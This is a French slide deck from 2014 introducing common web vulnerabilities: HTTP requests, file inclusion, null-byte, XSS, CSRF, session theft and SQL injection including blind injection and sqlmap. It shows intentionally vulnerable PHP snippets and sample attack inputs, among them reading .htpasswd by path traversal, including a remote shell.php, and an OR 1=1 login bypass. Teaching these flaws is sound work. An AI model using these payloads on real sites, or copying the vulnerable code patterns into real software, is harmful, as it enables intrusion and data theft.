Introduction Les failles les plus courantes Les injections SQL. Failles Web. Maxime Arthaud. net7. Jeudi 03 avril 2014.

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1 Maxime Arthaud net7 Jeudi 03 avril 2014

2 Syllabus Introduction Exemple de Requête Transmission de données 1 Introduction Exemple de Requête Transmission de données 2 3

3 Exemple de Requête Transmission de données HTTP = HyperText Transfer Protocol

4 Exemple de Requête Transmission de données HTTP = HyperText Transfer Protocol Le protocole parlé par votre navigateur web (Firefox, Chrome)

5 Exemple de Requête Transmission de données HTTP = HyperText Transfer Protocol Le protocole parlé par votre navigateur web (Firefox, Chrome) Version 1.1 (2.0 en cours)

6 Exemple de Requête Transmission de données Requête HTTP GET /page.html HTTP/1.1 Host: example.com Referer: User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:28.0) Gecko / Firefox/28.0

7 Exemple de Requête Transmission de données Requête HTTP GET /page.html HTTP/1.1 Host: example.com Referer: User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:28.0) Gecko / Firefox/28.0 Réponse du serveur HTTP/ OK Date: Fri, 31 Dec :59:59 GMT Server: Apache/0.8.4 Content-Type: text/html Content-Length: 59 Expires: Sat, 01 Jan :59:59 GMT <title>exemple</title>

8 Exemple de Requête Transmission de données Méthode GET GET /page.html?name=value HTTP/1.1 Host: example.com

9 Exemple de Requête Transmission de données Méthode GET GET /page.html?name=value HTTP/1.1 Host: example.com Méthode POST POST /page.html HTTP/1.1 Host: example.com Content-Length: 32 username=arthaum&password=secret

10 Exemple de Requête Transmission de données Informations stockées sur votre navigateur, envoyées aux sites web

11 Exemple de Requête Transmission de données Informations stockées sur votre navigateur, envoyées aux sites web De la forme key1=val1&key2=val2

12 Exemple de Requête Transmission de données Informations stockées sur votre navigateur, envoyées aux sites web De la forme key1=val1&key2=val2 Outils Firebug Tamper Data Web Developer

13 Syllabus Introduction Include Null byte XSS CSRF Les sessions 1 Introduction 2 Include Null byte XSS CSRF Les sessions 3

14 Include Null byte XSS CSRF Les sessions La faille include <!DOCTYPE html> <html> <head><title>titre</title></head> <body> <?php include( pages/. $_GET[ page ]);?> </body> </html>

15 Include Null byte XSS CSRF Les sessions La faille include <!DOCTYPE html> <html> <head><title>titre</title></head> <body> <?php include( pages/. $_GET[ page ]);?> </body> </html> Idées d attaque /index.php?page=index.php /index.php?page=../admin/.htpasswd /index.php?page=http ://monsite.com/shell.php

16 Include Null byte XSS CSRF Les sessions La faille null byte <!DOCTYPE html> <html> <head><title>titre</title></head> <body> <?php include( pages/. $_GET[ page ]..php );?> </body> </html>

17 Include Null byte XSS CSRF Les sessions La faille null byte <!DOCTYPE html> <html> <head><title>titre</title></head> <body> <?php include( pages/. $_GET[ page ]..php );?> </body> </html> Idée d attaque /index.php?page=index.php%00

18 Include Null byte XSS CSRF Les sessions XSS = Cross-Site Scripting <?php echo $_GET[ message ];?>

19 Include Null byte XSS CSRF Les sessions XSS = Cross-Site Scripting <?php echo $_GET[ message ];?> Idée d attaque /index.php?message=<script >alert( coucou ) </script >

20 Include Null byte XSS CSRF Les sessions CSRF = Cross-Site Request Forgery /deleteuser.php?id=1

21 Include Null byte XSS CSRF Les sessions CSRF = Cross-Site Request Forgery /deleteuser.php?id=1 Idées d attaque Forcer un administrateur à cliquer sur le lien Plus vicieux : mettre ce lien comme image de profil/signature

22 Include Null byte XSS CSRF Les sessions Le danger des sessions ID de session stocké dans les cookies

23 Explication Blind SQL Injection Outils Syllabus 1 Introduction 2 3 Explication Blind SQL Injection Outils

24 Explication Blind SQL Injection Outils Explication $con = new PDO( mysql:dbname=user_arthaum;host=mysql.bde. n7, arthaum, secret ); \$req = $con->query("select * FROM users WHERE username= ". $_POST[ username ]. " AND password= ". $_POST[ password ]. " ");

25 Explication Blind SQL Injection Outils Explication $con = new PDO( mysql:dbname=user_arthaum;host=mysql.bde. n7, arthaum, secret ); \$req = $con->query("select * FROM users WHERE username= ". $_POST[ username ]. " AND password= ". $_POST[ password ]. " "); Idée d attaque username=admin OR 1=1#

26 Explication Blind SQL Injection Outils Blind SQL Injection Pas de retour (page blanche)

27 Explication Blind SQL Injection Outils Blind SQL Injection Pas de retour (page blanche) Idée d attaque Utiliser SLEEP()

28 Explication Blind SQL Injection Outils Outils sqlmap

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